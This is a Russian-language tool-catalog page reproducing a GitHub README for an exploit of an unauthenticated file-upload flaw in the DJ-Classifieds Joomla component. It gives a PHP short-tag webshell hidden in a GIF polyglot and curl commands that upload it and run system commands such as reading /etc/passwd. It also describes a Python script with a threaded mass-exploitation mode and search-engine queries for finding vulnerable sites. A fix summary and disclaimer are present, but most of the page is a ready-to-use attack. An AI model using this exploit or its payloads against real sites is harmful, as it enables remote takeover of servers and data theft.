Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-61424 — DJ-Classifieds Joomla Компонент Неаутентифицированная загрузка файлов RCE. Обход фильтра из 3 строк через короткие теги PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-61424
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеНеправильная КонфигурацияRed TeamingИнструмент Удаленного Доступа
GitHubshinthink/cve-2026-61424

CVE-2026-61424

DJ-Classifieds Joomla Компонент Неаутентифицированная загрузка файлов RCE. Обход фильтра из 3 строк через короткие теги PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

41 месяц назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Задача imageupload → Без авторизации → Обход фильтра из 3 строк (

Обзор

Неаутентифицированная произвольная загрузка файлов в DJ-Classifieds для Joomla. Конечная точка задачи imageupload обрабатывает загрузку файлов без аутентификации и полагается на блок-список из 3 строк (<?php, , ), который тривиально обходится с помощью коротких открывающих тегов PHP (). В сочетании с polyglot GIF загруженный файл проходит все проверки валидации изображений, содержа при этом полностью функциональный PHP-вебшелл.

eval(
base64
<?=
ПолеДетали
CVECVE-2026-61424
ПродуктDJ-Classifieds (расширение Joomla от DJ-Extensions)
CVSS 4.010.0 (Критический)
ТипCWE-434 — Неограниченная загрузка файлов
ОбнаруженоPhil Taylor / mySites.guru — 16 июля 2026 г.
ЭксплуатацияПодтверждена в реальных атаках до раскрытия

Затронутые версии

СтатусВерсия
Уязвимые1.0 — 3.11.1
Исправлено3.11.2 (20 июля 2026 г.)

Механизм уязвимости

Корневая причина

Метод upload() в administrator/components/com_djclassifieds/lib/djupload.php сопоставлен задаче imageupload без проверки аутентификации и без проверки CSRF-токена.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Почему фильтр безопасности не срабатывает (обход блок-списка из 3 строк)

Сканер содержимого блокирует только три литеральные строки:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Это блокирует <?php, eval( и base64 — но не короткие открывающие теги PHP:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

Короткие теги вывода PHP (<?=) включены по умолчанию начиная с PHP 5.4.

Ход атаки

  1. Создайте polyglot: корректный заголовок GIF89a + <?=system($_GET['c']);?>
  2. Отправьте POST на index.php?option=com_djclassifieds&task=imageupload с параметром name=shell.gif
  3. Сервер проверяет: расширение .gif ✓ getimagesize() ✓ отсутствие <?php/eval(/base64 ✓
  4. Файл сохраняется в tmp/djupload/<shell>.gif
  5. Доступ: https://target.com/tmp/djupload/shell.gif?c=id

Подтверждённые исходные файлы

ФайлРоль
administrator/components/com_djclassifieds/lib/djupload.phpметод upload() — без аутентификации, фильтр из 3 строк
components/com_djclassifieds/controller.phpнаправляет задачу imageupload в upload()
administrator/components/com_djclassifieds/djclassifieds.xmlраскрытие версии через тег <version>

Доказательства из журналов сервера

Анонимные пробные запросы сканеров, наблюдавшиеся в реальных атаках до раскрытия:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Установка

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Использование

Одиночная цель

root@kitploit:~
python cve_2026_61424.py -t target.com

Массовая эксплуатация

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Аргументы

ФлагОписаниеПо умолчанию
-t, --targetОдиночный целевой хост—
-f, --fileФайл с целями (по одной на строку, комментарии через #)—
-o, --outputСохранить RCE-URL в файл—
--threadsРабочие потоки для массового режима30
--no-cleanupНе удалять шелл после RCEFalse
--debugОтладочный выводFalse

Подтверждение концепции

Одиночная цель

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Ручная эксплуатация

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

Исправление (3.11.2)

  1. Добавлена аутентификация Joomla — проверка анонимного доступа через JFactory::getUser() перед upload()
  2. Добавлена проверка CSRF-токена — JSession::checkToken() для задачи imageupload
  3. Ограничены типы файлов — серверный белый список только для изображений (jpg, jpeg, png, gif)
  4. Улучшено сканирование содержимого — дополнительные детекторы PHP-паттернов помимо блок-списка из 3 строк

Воздействие

  • Полный RCE — выполнение произвольных команд от имени пользователя веб-сервера
  • Постоянный доступ — шелл остаётся до ручного удаления или очистки каталога
  • Злоупотребление контентом — загрузка и размещение произвольных файлов на доверенном домене
  • Истощение диска — возможность анонимной массовой загрузки
  • Цепочки атак — polyglot-изображение может быть подключено через LFI в другом месте сайта

Отказ от ответственности

Этот инструмент предназначен только для образовательного и авторизованного тестирования безопасности. Используйте его только в отношении систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несёт ответственности за неправомерное использование или ущерб.


Ссылки

РесурсСсылка
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Обнаружение mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Релиз безопасности DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Запись CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424

Не аффилировано с DJ-Extensions или mySites.guru.

Скачать инструмент